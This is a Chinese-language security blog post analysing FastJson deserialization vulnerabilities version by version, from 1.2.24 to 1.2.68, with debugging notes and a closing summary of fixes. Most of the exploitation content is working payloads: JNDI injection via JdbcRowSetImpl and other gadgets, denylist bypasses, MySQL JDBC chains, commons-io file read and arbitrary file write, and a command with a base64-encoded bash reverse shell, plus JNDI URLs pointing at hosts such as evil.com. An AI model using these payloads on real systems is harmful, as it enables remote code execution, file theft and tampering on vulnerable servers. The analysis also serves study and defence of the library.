FastJson全版本分析

本文最后更新于:2024年10月23日 下午

FastJson:阿里开源库,用于解析JSON字符串

机制分析

导入依赖:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

构造测试代码:

Info是Person的父类,Hacker中含有Info成员变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package org.example;

import com.alibaba.fastjson.JSON;

public class Info {
public String address;
Info(){};
public Info(String address){
this.address=address;
}
@Override
public String toString() {
return this.address;
}
}

public class Person extends Info{
public String name;
public Person(){};
public Person(String n,String addr){
this.name=n;
this.address=addr;
}

@Override
public String toString() {
return this.name+":"+this.address;
}
}

public class Hacker{
public Info info;
public int id;
public Hacker(){}
public Hacker(int id,Person person){
this.id = id;
this.info = person;
}

@Override
public String toString() {
return this.info + ":" + id;
}
}

public class Main {
public static void main(String[] args) {
Hacker hacker = new Hacker("3xsh0re","1");
Trigger(hacker);
}
public static void Trigger(Object in)
{
String s = JSON.toJSONString(in);
System.out.println(s);
Hacker h = JSON.parseObject(s,Hacker.class);
System.out.println(h);
}
}

这个库的用法就是可以将任意Object对象转化为JSON字符串,然后可以将JSON字符串转化回去。

看一下运行结果:明明序列化后还带有name变量,但是反序列化后却丢失了。

FastJson在处理这种情况时,提供了指定还原类的字段@type方法:

通过在toJSONString的时候指定SerializerFeature,使得转化后的json字符串多了@type字段。这个字段指代了当前类的class,避免了上面的子类丢失字段的问题。当这个@type字段可控时,是否回去反序列化恶意类呢。

此时给自己构造的类添加一些set,get方法,然后打上断点。

下面调试一下JSON字符串被还原处理的过程:

com.alibaba.fastjson.JSON.java中,最终会进入下面这个parseObject

在这个方法中,会继续调用com.alibaba.fastjson.parser.DefaultParser.java中的parseObject方法进行处理:

1
T value = (T) parser.parseObject(clazz, null);

步进到DefaultFieldDeserializer.javaparseField函数,直接看关键点第83行,调用了setValue函数:

一直步进,发现在反序列化的时候会调用这些类的set方法,那么找到一个类的set方法能够执行代码就行了。

具体来说,fastjson在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发

补充parse 和 parseObject的区别,感谢wh1t3p1g师傅的文章

利用方式

payload格式:

1
2
3
4
5
{
"@type":"org.example.Person",
"address":"China",
"name":"3xsh0re"
}

URLDNS探测

1
2
3
4
{"aa":{"@type":"java.net.Inet4Address","val":"a77ubr.dnslog.cn"}}
{"aa":{"@type":"java.net.Inet6Address","val":"a77ubr.dnslog.cn"}}

{{"@type":"java.net.URL","val":"http://a77ubr.dnslog.cn"}:"a"}

TemplatesImpl

这个类应该是我们的老朋友了,自CC3出现,成为多种链子的代码执行方式,原理这里不赘诉了。

这里能利用当然是因为其自带一个outputProperties的方法来触发getOutputProperties(他恰巧无setter,返回值也符合条件)。但是有一个问题是我们需要填充的类属性都是private类型,要想执行该利用链,需要在调用parseObject函数时填入Feature.SupportNonPublicField

在构造payload的时候,需要注意的是_tfactory必须填上,因为在执行过程中,如果它为null,会报错无法进入载入bytecodes的步骤,如果不理解,可以会看CC3的调试过程。我们只要填上_tfactory:{},fastjson会自动帮我们调用TransformerFactoryImpl(_tfactory的类)的无参构造函数进行实例化。\_在smartMatch函数被替换为空。

最终Poc:

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["Base64编码的恶意字节码"],
"_name": "test",
"_tfactory": {},
"_outputProperties": {},
}

JdbcRowSetImpl

如果JNDI的lookup函数参数值可控,那么我们可以利用JNDI Reference的方法加载远程代码达成RCE利用。如果不理解JNDI,可以看Log4j2漏洞的相关分析

根据前面的分析,如果我们可以在无参构造函数符合条件的setter符合条件的getter里发现一个可控的lookup方法,我们就可以利用JNDI的注入方法来达成利用!

JdbcRowSetImpl类位于com.sun.rowset.JdbcRowSetImpl。ctrl+N搜索,找到后进行分析,跟进JdbcRowSetImpl
来到setAutoCommit()方法,当connnull则调用connect()

跟进connect方法,发现获取数据库信息时存在lookup方法的调用,而且将DataSourceName作为查询输入,这个变量可控

最终控制dataSouceName造成反序列化漏洞。
最终Poc

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}" -A "IP"
1
2
3
4
5
6
7
{
"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://test.com:9999/TouchFile",
"autoCommit":true
}
}

还有很多其他的可以用来JNDI注入的对象,比如org.hibernate.jmx.StatisticsServicesetSessionFactoryJNDIName函数,原理一样不再叙述。

Tomcat dbcp BasicDataSource

埋坑,BCLE暂不了解。

wh1t3p1g师傅 NB!

1.2.25

对存在漏洞的地方做了一些修复。引入 checkAutoType,默认关闭AutoType,需要手动开启@type的支持
安全更新主要集中在com.alibaba.fastjson.parser.ParserConfig

首先查看类上出现了几个成员变量:

  • 布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭;
  • 字符串数组 denyList ,是反序列化类的黑名单;
  • acceptList 是反序列化白名单。

过滤如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

开启autoType的处理

继续向下分析 checkAutoType()整体逻辑,这里如果开启了autoType会先做一个判断,是否处在白名单,在的话通过TypeUtils.loadClass进行加载,然后再判断黑名单:

没开启autoType的处理

顺序则是先使用黑名单进行匹配,再用白名单进行匹配和加载。如果反序列化黑白名单未成功匹配, 那么只有当开启了autoTypeexpectClass不为空(指定Class对象)才能调用 typeUtils.loadClass加载

继续跟进 loadClass,这里是存在一处逻辑问题的,本身这里是写了一个兼容带有描述符的类,可这些在类加载过程中会被处理掉。黑名单里显然并没有考虑到TypeUtils.loadClass实现中,对于Lxxxx.class.xxx;的处理。通过Lxxxxx;的方式startsWith没办法正常匹配出来,所以我们可以绕过黑名单的检测。

最终漏洞思路,开启autoType后,构造描述符绕过,添加字符 L``[``; 即可

Poc:

1
2
3
4
5
6
7
8
9
10
11
12
{
"@type":"[com.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
"autoCommit":true
}
{
"a":{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://test.com:9999/TouchFile",
"autoCommit":true
}
}

1.2.42

在此版本只是进一步对黑白名单的规则进行修改。这里主要是修改黑名单类添加了一个对Hash方式的对比对之前版本存在类描述符绕过黑名单修复

下面继续分析,继续来到com.alibaba.fastjson.parser.ParserConfig这个类
发现denyHashCodes对原本的黑名单策略做了一个Hash校验黑名单

CheckAutoType,其实就是对黑名单进行截断第一个字符是否为类描述符,做一个Hash匹配,如果是则匹配失败。但我们前面分析过,这里loadClass()加载类

来到loadClass,还是采取递归处理的

使用双写即可绕过,比如这样:LLxxxxx;;

由于现在的黑名单变成了hash计算的方式,给我们分析增加了不少难度,不过有大佬对黑名单hash做了还原,见fastjson-blacklist,hash碰撞得到的黑名单。

Poc:

添加两个类描述符

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
"autoCommit":true
}

1.2.43

继续分析,做了两处判断,解决双写的绕过,

并未对所有类描述符进行严格过滤,这里是可以添加[字符成功绕过:

1
2
3
4
5
6
7
{
"a":{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"rmi://test.com:9999/TouchFile",
"autoCommit":true
}
}

1.2.45

黑名单无法穷尽所有恶意类!

存在一个黑名单匹配绕过

1
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

利用条件如下

  1. 目标服务端存在mybatis的jar包。
  2. 版本需为 3.x.x ~ 3.5.0
  3. autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)

本质是利用JNDI的那条方法:

1
2
3
4
5
6
7
8
9
10
11
12
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:1234/exploit"
}
}
{
"b":{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{"data_source":"ldap://localhost:1389/exploit"}
}
}

1.2.47

漏洞隐患,不需要开启AutoTypeSupport直接进行反序列化操作
利用条件如下:

  • 小于 1.2.48 版本的通杀,AutoType为关闭状态也可以。
  • loadClass中默认cache设置为true

继续分析类com.alibaba.fastjson.parser.ParserConfig,来到CheckAutoType()方法
首先检测L]逻辑没有变,

后面抛出异常的地方,要进入异常需要满足:当开启AutoType时,如果mappings里面存在这个类,那么就算这个类在黑名单里,也允许他进行下一步操作。这里的mappings是fastjson提早载入的一些缓存类

后续调用TypeUtils.getClassFromMapping方法来获取类:

如果有方法将我们需要的类加入到这个mappings就好了!

这里deserializers是一个IdentityHashMap类的实例,在对ParserConfig类进行初始化时,会默认加载一些反序列化器的实例:

主要关注一下Class.class,他所对应的反序列化器为MiscCodeccheckAutoType检测过后,后续将调用反序列化器的deserialze函数。来看看MiscCodec的这个函数对于Class.class的处理:

1
2
3
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}

调用了TypeUtils.loadClass函数,这个函数就是存在逻辑漏洞的地方,这里调用mappings.put

1
2
3
4
5
6
7
8
9
10
11
12
13
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz); // Trigger!
}
return clazz;
}
}

这里的cache默认为true,所以这里会直接将载入后的对象填入mappings

梳理一下现在的状况:

  • 如果当前mappings里存在可控的类,无论开没开启AutoType,都会进行类还原
  • 利用Class.class可以向mappings填充任意类

简单来说,需要两次操作,第一次添加恶意类到Mapping中,这样可以绕过对抛出异常的判断,第二次就正常打payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"ldap": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"LDAP": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1234/Exploit",
"autoCommit": true
}
}
{
"rmi":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"RMI":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
}

1.2.62

基于黑名单绕过:

1
2
3
4
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://127.0.0.1:1099/exploit"
}";

1.2.66

基于黑名单绕过:

1
2
3
4
{
"@type":"org.apache.shiro.jndi.JndiObjectFactory",
"resourceName":"ldap://192.168.80.1:1389/exploit"
}

1.2.68

在之前版本1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复。对MiscCodec 处理 Class 类的设置了cache=false,并且loadClass重载默认为不缓存,直接避免了提前使用Class类恶意类名缓存造成的反序列化漏洞。

1.2.68版本下,更是更新了一个新的安全控制点 safeMode,如果开启的话,将在checkAutoType()直接抛出异常。

ParseConfig类的1240行处,这里做了Json反序列化的开关,只要开启safeMode就不存在反序列化漏洞,但是默认不开启,所以后续的利用分析还是有必要的

1
2
3
4
5
boolean safeMode = this.safeMode || (features & safeModeMask) != 0 
|| (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
if (safeMode) {
throw new JSONException("safeMode not support autoType : " + typeName);
}

我们在1.2.47版本提到的方法是通过将恶意类加载进mappings从而绕过对类的检测,官方进行修复之后,默认不开cache,似乎没有突破点。

但是在1.2.68版本引入了一个新的参数expectClassFlag,看到方法中相对靠后的位置,存在一个判断,如果expectClassFlag==true,那么就会加载当前的typename。

从这里可以看出,恶意类需要是expectClass的接口或是expectClass的子类。

expectClassFlag的赋值在此方法的前面部分,如果expectClass不为空且不属于下面列举的那些类,就可以实现赋值为真,现在只需要找到意料之外的类。

查看对checkAutoType方法的调用,满足可以传入expectClass可控的

只有JavaBeanDeserializerThrowableDeserializer这两个类,

JavaBeanDeserializer

JavaBeanDeserializer.deserialze()中,可以看到存在对json字符串的一些判断如果仍然还要type字段,那么还会继续进行解析,后面就再次进入了checkAutoType方法,但是参数值变为了第二个type字段的内容且expectClass为第一个type字段的类。

原理大概就是这样,但是第一次解析type的类也需要绕过checkAutoType中黑名单的检测。

  • 只需要找一个接口,然后找一个实现了这个接口的类,类中有可以利用的点即可;
  • 最好是可以绕过autoTypeSupport

存在一个java.lang.AutoCloseable这个接口,这个接口位于默认的mapping中,有很多子类,不开启autoTypeSupport

ThrowableDeserializer

Throwable类反序列化处理为ThrowableDeserializer.deserialze(),当为type时,同样调用checkAutoType()并传入expectClass,也就是Throwable.class类对象。之后的利用都差不多。

利用链

Mysql JDBC RCE

mysql 5.1.x >= 5.1.11

5.1.11及以上的5.x版本

所需依赖:

1
2
3
4
5
6
7
8
9
10
11
12
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.11</version>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info":
{
"user": "root",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
},
"databaseToConnectTo": "dbname",
"url": ""
}
Mysqlconnector 6.0.2 or 6.0.3

所需依赖

1
2
3
4
5
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>6.0.2</version>
</dependency>

Payload

1
2
3
4
5
6
7
8
9
10
11
{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy":
{
"connectionString":
{
"url": "jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=root"
}
}
}
Mysqlconnector 6.x or < 8.0.20

所需依赖

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"@type":"java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy":
{
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl":
{
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters":
[
{
"host": "127.0.0.1"
}
],
"slaves":
[],
"properties":
{
"host": "127.0.0.1",
"user": "root",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}

commons-io文件读取

所需依赖

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.4</version>
</dependency>

Payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///Users/3xsh0re/Downloads/flag.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [49] // 如果读出来的第一个字节是49,就返回,否则返回空
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///Users/3xsh0re/Downloads/flag.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [49,50] // 如果读出来的第一个字节是49,第二个字节是50,就返回,否则返回空
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}

commons-io2.x文件写入

注意事项:写入内容的长度必须要>8192,不然会失败;实际写入的内容只有前8192个字符,后面的不会写入

commons-io 2.0 - 2.6 版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
commons-io 2.7 - 2.8.0 版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}

总结

  • 1.2.24:@Type字段可以加载任意类
  • 1.2.25:默认关闭AutoType,增加黑白名单进行检查,存在绕过,类描述符字符 L,[
  • 1.2.42:增加黑名单数量,对黑白名单常量进行hash处理,双写类描述符绕过LL
  • 1.2.43:并未对所有类描述符进行严格过滤,添加[字符成功绕过
  • 1.2.45:黑名单策略无法ban掉所有恶意类
  • 1.2.47:新的绕过方式,通过预先缓存将恶意类添加
  • 1.2.62/1.2.66:绕过黑名单
  • 1.2.68:新的绕过方式,某些类反序列化二次进入CheckAutoType,并通过expectClass绕过判断。从这个版本开始引入safeMode,一旦开启,直接抛出异常,彻底杜绝反序列化漏洞。

FastJson全版本分析
https://3xsh0re.github.io/2024/10/14/FastJson全版本分析/
作者
3xsh0re
发布于
2024年10月14日
许可协议